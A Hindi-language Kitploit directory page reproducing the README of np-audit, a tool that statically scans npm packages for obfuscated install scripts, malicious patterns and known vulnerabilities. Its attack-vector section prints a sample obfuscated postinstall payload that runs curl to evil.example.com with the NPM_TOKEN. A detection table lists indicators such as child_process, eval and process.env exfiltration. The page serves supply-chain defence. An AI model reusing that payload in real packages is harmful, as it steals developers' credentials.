Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
np-audit — npm पैकेजों के लिए स्थैतिक सुरक्षा विश्लेषण। स्थापना से पहले अस्पष्ट कोड, दुर्भावनापूर्ण पैटर्न और ज्ञात कमजोरियों का पता लगाता है। | Kitploit
उपकरण/GitHubGitHub/koblers/np-audit
स्थैतिक विश्लेषणभेद्यता स्कैनरकोड विश्लेषणमालवेयर विश्लेषणसीक्रेट डिटेक्शनआपूर्ति श्रृंखला सुरक्षा
GitHubkoblers/np-audit

np-audit

npm पैकेजों के लिए स्थैतिक सुरक्षा विश्लेषण। स्थापना से पहले अस्पष्ट कोड, दुर्भावनापूर्ण पैटर्न और ज्ञात कमजोरियों का पता लगाता है।

रिपॉजिटरी देखें
71 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — npm पैकेज ऑडिटर

npm पैकेजों के लिए स्थैतिक सुरक्षा विश्लेषण — ऑबफस्केटेड लाइफ़साइकल स्क्रिप्ट्स, ज्ञात भेद्यताओं और दुर्भावनापूर्ण पैटर्न का पता उनके चलने से पहले लगाता है। npm install और npm ci के लिए ड्रॉप-इन रिप्लेसमेंट।

शून्य निर्भरताएँ। केवल शुद्ध Node.js बिल्ट-इन। नेटवर्क पर < 100 kB।

root@kitploit:~
npx np-audit scan express
root@kitploit:~
npm install -g np-audit
npa scan                     # scan all deps
npa install                  # audit then install
alias npm='npa'              # use as drop-in replacement

मार्शलर

पहचान मॉड्यूलर मार्शलरों में विभाजित है — प्रत्येक एक एकल हमले के संकेत का पता लगाता है:

स्कोर गंभीरता के अनुसार बढ़ते हैं — ऑबफस्केशन संकेतकों की अधिक संख्या उच्च स्कोर उत्पन्न करती है। अंतिम निर्णय सभी मार्शलरों में सर्वोच्च व्यक्तिगत स्कोर पर आधारित होता है।

कस्टम मार्शलर लिखने के तरीके के लिए CONTRIBUTING.md देखें।


भेद्यता स्कैनिंग (CVE)

प्रत्येक स्कैन किया गया पैकेज कोड विश्लेषण के साथ-साथ ज्ञात भेद्यता डेटाबेस के विरुद्ध जाँचा जाता है।

डिफ़ॉल्ट: OSV.dev (कोई सेटअप आवश्यक नहीं)

बिना किसी सेटअप के काम करता है — ज्ञात भेद्यताओं और दुर्भावनापूर्ण पैकेज सलाहों के लिए मुफ्त OSV.dev API से पूछताछ करता है।

वैकल्पिक: Snyk API (समृद्ध डेटा)

root@kitploit:~
# Environment variable
export SNYK_API_TOKEN=your-token-here

# Or via Snyk CLI
snyk auth

टोकन समाधान क्रम: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

गंभीरतास्कोर

गैर-दुर्भावनापूर्ण CVE चेतावनी उत्पन्न करते हैं लेकिन इंस्टॉलेशन को कभी अवरुद्ध नहीं करते। केवल पुष्टि किए गए दुर्भावनापूर्ण पैकेज DANGER ट्रिगर करते हैं।


उपयोग

कमांड्स

कोई भी अपरिचित कमांड npm को अग्रेषित किया जाता है (जैसे npa run test, npa publish)।

फ़्लैग्स

इंटरैक्टिव --review मोड

root@kitploit:~
npa install --review
root@kitploit:~
  npa --review mode
  Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit

  Found 3 package(s) with install scripts:

     [✓ allow] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ deny ] [email protected]       postinstall: install.js          DANGER (score: 9)
     [✓ allow] @scope/[email protected]     postinstall: install.js          WARN (score: 5)

  2 allowed  1 denied

कॉन्फ़िगरेशन

कॉन्फ़िग ~/.npmauditor.json में संग्रहीत होता है (वैश्विक) और इसे प्रति-प्रोजेक्ट .npmauditor.json के साथ ओवरराइड किया जा सकता है।

root@kitploit:~
npa config get                              # Show current config
npa config set blockScore 6                 # Block at score 6+
npa config set skipPackages '["esbuild"]'   # Trust specific packages
npa config set skipScopes '["@types"]'      # Trust entire scopes

सभी कॉन्फ़िग कुंजियाँ

मार्शलर अक्षम करना

आप disabledMarshallers में उनके नाम जोड़कर विशिष्ट पहचान जाँचों को अक्षम कर सकते हैं:

root@kitploit:~
npa config set disabledMarshallers '["process-env", "network-call"]'

सभी उपलब्ध मार्शलर नाम और उनकी वर्तमान स्थिति देखने के लिए:

root@kitploit:~
npa config marshallers

यह तब उपयोगी होता है जब कोई मार्शलर आपके वर्कफ़्लो के लिए गलत सकारात्मक परिणाम उत्पन्न करता है। अक्षम मार्शलर स्थैतिक कोड विश्लेषण और पैकेज-स्तरीय जाँचों दोनों के दौरान पूरी तरह छोड़ दिए जाते हैं।


शेल उपनाम

npa को पारदर्शी npm रिप्लेसमेंट के रूप में उपयोग करें:

root@kitploit:~
npa alias --install     # adds: alias npm='npa'
source ~/.zshrc         # reload shell

अब npm install, npm ci स्वचालित रूप से स्कैन होते हैं। अन्य सभी npm कमांड (npm run, npm test, npm publish) अपरिवर्तित पास होते हैं।

root@kitploit:~
npa alias --uninstall   # remove the alias

यह कैसे काम करता है

  1. पार्स करें package-lock.json (v1/v2/v3) या package.json से हल करें
  2. फ़ेच करें रजिस्ट्री से टारबॉल (या node_modules से पढ़ें)
  3. पार्स करें लाइफ़साइकल कमांड — &&/||/;/| को विभाजित करता है, node -e, sh -c, शेल स्क्रिप्ट को संभालता है
  4. ट्रैवर्स करें प्रत्येक प्रवेश से require()/import ग्राफ़ (चक्र पहचान, 50 फ़ाइल / 5 MB कैप)
  5. विश्लेषण करें सभी मार्शलरों के साथ — स्थैतिक कोड जाँच + CVE डेटाबेस क्वेरी
  6. स्कोर करें और वर्गीकृत करें: DANGER / WARN / OK
  7. रिपोर्ट करें या इंस्टॉल के साथ आगे बढ़ें

हमला वेक्टर

सप्लाई चेन हमले npm लाइफ़साइकल स्क्रिप्ट का दुरुपयोग करते हैं। जब आप npm install चलाते हैं, तो कोई भी preinstall/install/postinstall स्क्रिप्ट स्वचालित रूप से चलती है। हमलावर पेलोड को ऑबफस्केशन के पीछे छिपाते हैं:

root@kitploit:~
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

वास्तविक दुनिया की घटनाएँ:

  • event-stream (2018) — Bitcoin वॉलेट क्रेडेंशियल चोरी
  • ua-parser-js (2021) — क्रिप्टो माइनर + सूचना-चोर
  • node-ipc (2022) — भू-लक्षित वाइपर मैलवेयर
  • colors / faker (2022) — मेंटेनर तोड़फोड़
  • SAP CAP / cds-dbs (2025) — एंटरप्राइज़ डेवलपर्स को लक्षित करने वाला समझौता किया गया पैकेज

npa स्क्रिप्ट को कभी निष्पादित नहीं करता। यह उन्हें डाउनलोड करके स्थैतिक रूप से विश्लेषण करता है।


एग्ज़िट कोड

कोडअर्थ
0सब कुछ साफ या केवल चेतावनी
1एक या अधिक पैकेज अवरुद्ध

लाइसेंस

MIT

टूल डाउनलोड करें
मार्शलरक्या पता लगाता हैस्कोर
eval/dynamic-execeval(), new Function(), अप्रत्यक्ष eval, vm.*, स्ट्रिंग के साथ setTimeout8
obfuscator.io_0x वेरिएबल नामकरण पैटर्न (obfuscator.io आउटपुट)9–80
high-entropy-stringउच्च Shannon एंट्रॉपी वाले लंबे स्ट्रिंग या कॉनकैटनेशन चेन6
hex-escape-densityसघन \xNN और \uXXXX एस्केप अनुक्रम5–50
fromCharCodeअनेक तर्कों के साथ String.fromCharCode, बड़े दशमलव char-code सरणियाँ7
encoded-decodeBase64/hex डिकोड (atob, Buffer.from) वैकल्पिक रूप से eval के साथ संयुक्त3–8
child-processrequire('child_process'), exec, spawn, fork, worker_threads5
hex-arrayबड़ी संख्या में 0x हेक्स लिटरल मान7–60
process-envprocess.env एक्सेस (क्रेडेंशियल एक्सफ़िल्ट्रेशन संकेत)3
network-callrequire('https'), fetch(), dns, net, tls4
filesystem-manipulationfs.writeFile, chmod, symlink (बैकडोर स्थिरता)3–4
runtime-downloadबाहरी रनटाइम (Bun, Deno) डाउनलोड और निष्पादित करता है9–50
vscode-autorunrunOn: folderOpen के साथ VS Code टास्क (स्वतः निष्पादन)30
known-vulnerabilitySnyk API या OSV.dev के माध्यम से ज्ञात CVE4–6 (WARN), 80 (दुर्भावनापूर्ण)
निर्णय
दुर्भावनापूर्ण पैकेज80DANGER
10+ भेद्यताएँ6WARN
5–9 भेद्यताएँ5WARN
1–4 भेद्यताएँ4WARN
कमांडउपनामविवरण
npa install [package]npa iऑडिट करें फिर npm install चलाएँ
npa ci—ऑडिट करें फिर npm ci चलाएँ
npa scan [package]npa sकेवल स्कैन करें, इंस्टॉल नहीं
npa config getnpa c getवर्तमान कॉन्फ़िगरेशन दिखाएँ
npa config set <key> <value>npa c setकॉन्फ़िग मान अपडेट करें
npa alias --install—शेल उपनाम स्थापित करें
npa alias --uninstall—शेल उपनाम हटाएँ
फ़्लैगउपनामइसके साथ काम करता हैविवरण
--review-rinstall, ciइंटरैक्टिव मोड — चुनें कि कौन सी स्क्रिप्ट की अनुमति देनी है
--json—install, ci, scanमशीन-पठनीय JSON आउटपुट
--no-dev—install, ci, scandevDependencies छोड़ें
--verbose—सभीफ़ेच प्रगति और अतिरिक्त विवरण दिखाएँ
--version-v—संस्करण प्रिंट करें और बाहर निकलें
--help-h—सहायता प्रिंट करें और बाहर निकलें
कुंजीडिफ़ॉल्टविवरण
blockScore7DANGER के लिए स्कोर सीमा (exit 1)
warnScore4WARN के लिए स्कोर सीमा (exit 0)
registryhttps://registry.npmjs.orgnpm रजिस्ट्री URL
timeout30000HTTP अनुरोध टाइमआउट (ms)
parallelFetches5समवर्ती डाउनलोड
skipScopes[]छोड़ने के लिए @scope उपसर्ग
skipPackages[]छोड़ने के लिए पैकेज नाम
silentfalseकोई समस्या न मिलने पर आउटपुट दबाएँ
scanSelftrueस्वयं के प्रोजेक्ट लाइफ़साइकल स्क्रिप्ट स्कैन करें
maxTarballSize50MBअधिकतम अनपैक्ड टारबॉल आकार (बम सुरक्षा)
checkVulnerabilitiestrueपैकेजों को CVE डेटाबेस के विरुद्ध जाँचें
deepResolvefalseपूर्ण ट्रांज़िटिव निर्भरता ट्री हल करें
disabledMarshallers[]स्कैनिंग के दौरान छोड़ने के लिए मार्शलर नाम